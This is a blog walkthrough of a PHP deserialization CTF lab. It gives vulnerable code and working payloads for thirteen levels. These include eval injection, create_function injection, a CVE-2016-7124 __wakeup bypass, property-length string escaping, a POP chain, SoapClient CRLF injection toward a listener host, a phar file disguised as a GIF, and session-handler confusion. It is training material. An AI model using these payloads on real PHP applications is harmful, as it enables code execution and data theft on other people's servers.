loading...
PHP反序列化靶场
Published in:2022-10-29 | category: ctf | 反序列化

题记

回顾一下php反序列化的一些内容

靶场地址https://github.com/fine-1/php-SER-libs

前言

php反序列化的魔术方法

__construct() 在对象创建时调用

__destruct() 在对象销毁时调用

__call() 对象上下文中调用不可访问(不存在)的方法时调用

__get() 用于从不可访问的属性读取数据时调用

__wakeup() 当调用unserialize()会自动调用

__toString() 对象被当成字符串执行时调用

__invoke() 对象被当成函数执行时调用

说明

关卡 不适用其他版本的原因以及相关设置
level4 create_fucntion与可变函数调用 5.6不支持可变函数,7.2已废除create_function
level5 序列化格式过滤与CVE-2016-7124 CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
level6 私有属性反序列化 escaped binary string(仅从php6开始支持)
level7 __call与属性的初始值 同上
level10 just_one_soap 需要开启soap扩展(php5.6:extension=php_soap)
level11 a phar 和 level12 a phar trick php.ini中phar.readonly=Off(若有分号则去掉)
level13 引用和session session.auto_start=0; session.serialize_handler = php;(level13均为默认设置)
leve14 session.upload_progress session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = “upload_progress_”; session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”; session.upload_progress.freq = “1%”; session.upload_progress.min_freq = “1”;

Level-1(类的实例化)

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>

action()方法里面有eval函数执行语句,创建一个类,传参到act,act里是执行语句,并调用action()方法

payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=new a();
$a->act="show_source('flag.php');";//show_source是查看flag.php源码命令
$a->action();
echo serialize($a);
?>

Level-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>

通过代码判断当user和pass参数分别等于daydream和ok,则返回1,然后显示flag值。并且有construct()方法,对象创建时调用

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=new mylogin("daydream","ok");
$a->login();
echo serialize($a);
?>

Level-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>

第三关和第二关同理,只是提交方式改变了,从GET方式改成了COOKIE,用bp抓包将payload进行url编码后写到cookies里重放数据包即可。

为什么使用urlencode,因为在反序列化时,protected和private变量序列化后会出现不可见的字符,private变量序列化后变量前\00类名\00,而protected变量序列化后变量前\00*类名\00

Level-4(create_fucntion与可变函数调用)

说明一下create_function

php5.6不支持可变函数,而在PHP7.2后完全废除create_function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key);
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

unserialize($_GET['param']);

?>

分析:

$a(‘’, $this->code);

变量带括号说明这个地方是一个函数,而a接收action,在action写入”create_function”,而后面$this->code传入的是代码,写入include包含flag.php时,反序列化的时候会产生如下

1
2
O:4:"func":1:{s:3:"key";s:136:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:34:"include("flag.php");echo $flag;//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";}

include被包在了引号里面,所以需要使用}对34:”闭合,使用array(),将create_function进而成为常规函数,且在对象func结束时调用destruct中的反序列化,所以要在进行序列化后传入key

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}

class GetFlag
{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
?>

Level-5(序列化格式过滤与CVE-2016-7124)

由前面可以知道在调用unserialize()方法时,如果有wakeup()方法则会优先调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

分析:

创建了secret对象,默认调用construct方法,并传入文件名flag.php,但在下面判断时有一个正则匹配,匹配O:[0-9],[oc]就是判断包含O或C,\d任意整数[0-9],/i是不分辨大小写。

这里可以通过str_replace()函数绕过,将反序列化后的语句传入该函数,$b=str_replace(“O:6”,”O:+6”,”$b”)。

接着就到else判断,有一个反序列化,调用wakeup()方法将我们之前传入的flag.php改成了index.php。利用CVE-2016-7124,当表示对象属性个数的值大于真实的属性个数的值时,绕过wakeup()方法,最后对payload进行url编码,原因在上述提到过。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
echo $flag;
}

function __destruct(){
include_once($this->file);
}

function __wakeup(){
$this->file='index.php';
}
}
$pa=new secret('flag.php');
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>

Level-6(私有属性反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>

上述提到,private和protected类型反序列化后是不一样的

private变量是\00+类名+\00

protected变量是\00+*+类名+\00

也可以使用%00

由于该题是private变量,且该题有替换,将%替换成daydream,则在反序列化后在payload里加入\00+secret+\00

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("system('type flag.php');");
echo serialize($pa),"\n";
//O:6:"secret":1:{s:12:" secret comm";s:24:"system('type flag.php');";}
//O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('type flag.php');";}
?>

Level-7(__call与属性的初始值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}

class my
{
public $name;

function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>

分析:先new一个you对象和my对象,在my类里__call()函数进行判断,当函数名为yourname和当前属性name为myname则返回flag。

对you类分析,有一个__destruct(),里面可以将this->pro作为函数名赋值给project函数,假设this->body是对象my,调用project方法,而该方法在类my不存在则默认调用__call()方法,所以可以创建__construct()方法,将对象my赋值给this->body。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class you
{
private $body;
private $pro;
function __construct(){
$this->body=new my();
$this->pro='yourname';
}
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}

class my
{
public $name='myname';

function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$p=new you();
echo serialize($p);
//O:3:"you":2:{s:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"\00you\00pro";s:8:"yourname";}
//大写S
//O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}
?>

Level-8(反序列化增逃逸)

php反序列化字符逃逸详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

分析:有一个过滤函数,对于序列化后的结果只要在数组中出现flag或者php,就会替换为hack,从test类入手,construct方法没有对pass处理,就是pass是固定为daydream,现在要做的目的就是设法把daydream替换为escaping

1
O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}

逃逸的内容”;s:4:”pass”;s:8:”daydream”;},一共是29个字符,所以29*3,3为php字符个数

1
2
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

传到到user参数里,反序列化时后面的pass序列化后内容就被覆盖,则会执行user里面的语句

1
O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

Level-9(Ezpop)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

一条简单的pop链

分析:有include包含,可以判断Modifier是最后的利用类部分,字符是可控的。有__wakeup()方法,且有echo输出,从Show类入手,对象被当成字符串执行会调用__toString()方法,会返回一个值,把str赋值为Test对象,类里没有source,会调用__get()方法,在该方法里返回一个函数,将p赋值为Modifier对象,就会调用__invoke()方法,接着调用append()方法,之后包含参数值,参数值在提示里有flag.php

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$a=new Modifier();
$b=new Show();
$c=new Test();

$b->source=$b;
$b->source->str=$c;
$c->p=$a;
echo "\n";
echo urlencode(serialize($b));

Level-10(SOAP服务)

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

或者更简单地说:SOAP 是用于访问网络服务的协议。

需要在php里开启SOAP扩展

SOAP安全方面的使用

SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

$c = unserialize($_GET['param']);
$c -> daydream();

/*
In this topic,it is of course possible to pass parameters directly to flag.php, but it is not recommended to use this method to learn SOAP.
flag.php
$flag="*";
$user=$_SERVER['HTTP_USER_AGENT'];
$pass = $_POST['pass'];
if(isset($pass) and isset($user)){
if($pass=='password' and $user=='admin'){
file_put_contents('flag.txt',$flag);
}
}
*/
?>

分析:代码里的daydream()是未知方法,可以使用SOAPClient原生类调用未知方法执行__call()函数

构造payload:

1
2
3
4
5
6
7
8
9
<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://202.182.125.24:43857/test','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
$b = str_replace('&','&',$b);
echo urlencode($b);
//localtion为监听主机的IP和端口

HTTP请求头之间的参数用一组\r\n分割即可

HTTP请求头与POSTDATA之间要用两个\r\n分割.

本地使用nc启动监听,向目标发送payload

UA里面有admin,而且Content-Type也从XML修改为x-www-form-urlencoded,之后flag.txt就被写入到服务器的文件夹里

Level-11(phar)

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

Phar需要 PHP >= 5.2
在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

分析:先创建一个phar文件,上传到服务器,一般phar有伪协议来查看文件,phar://

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar1.phar");
$phar = new Phar("phar1.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,绕过验证文件格式上传
$o = new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

Level-12(phar II)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
foreach($black_list as $item){
$front=substr($filename,0,strlen($item));
if ($front==$item){
$boo1=0;
}
}
if (isset($filename) and $boo1){
echo md5_file($filename);
}
//upload.php
?>

12关在11关的基础上加了黑名单过滤

payload:

1
file=compress.zlib://phar://upload/phar1.png

Level-13(Session)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
/*hint.php*/
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

分析:__wakeup()方法,且hint.php有序列化

PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置

在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
$b=new Flag();
$b->her=&$b->name;
echo serialize($b);
//|O:4:%22Flag%22:2:{s:4:%22name%22;N;s:3:%22her%22;R:2;} 前面要加|,|为session的格式
?>

此时序列化之后,|后面的数据就会作为value,而前面的数据会作为key,从而执行value的内容,然后重新访问index.php

Prev:
APPLE黑苹果教程
Next:
记一次高校资产渗透经历
catalog
catalog